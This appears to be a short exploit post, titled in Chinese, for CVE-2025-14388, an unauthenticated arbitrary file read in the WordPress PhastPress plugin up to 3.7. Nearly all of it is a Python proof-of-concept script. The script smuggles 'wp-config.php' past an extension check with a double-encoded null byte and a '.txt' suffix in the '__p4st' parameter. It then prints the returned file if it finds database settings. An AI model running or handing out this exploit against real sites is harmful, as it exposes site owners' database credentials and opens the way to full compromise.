CVE-2025-14388 WordPress PhastPress插件未授权任意文件读取漏洞

import requests import urllib.parse # CVE-2025-14388 PoC - PhastPress Arbitrary File Read # Target: WordPress site with PhastPress plugin <= 3.7 target_url = "http://target-wordpress-site.com/" # Read wp-config.php using null byte injection # %2500 = double URL-encoded null byte # .txt = allowed extension to bypass getExtensionForURL() check file_to_read = "wp-config.php" encoded_null = "%2500" extension = ".txt" # Construct the malicious path malicious_path = f"{file_to_read}{encoded_null}{extension}" # Full URL to exploit the vulnerability exploit_url = target_url + "?__p4st=" + malicious_path print(f"[*] Exploiting CVE-2025-14388") print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_to_read}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=30) if response.status_code == 200: # Check if we got the actual file content if "DB_NAME" in response.text or "<?php" in response.text: print("[+] SUCCESS! File content retrieved:") print(response.text[:2000]) # Print first 2000 chars else: print("[-] Response received but file content not detected") print(response.text[:500]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")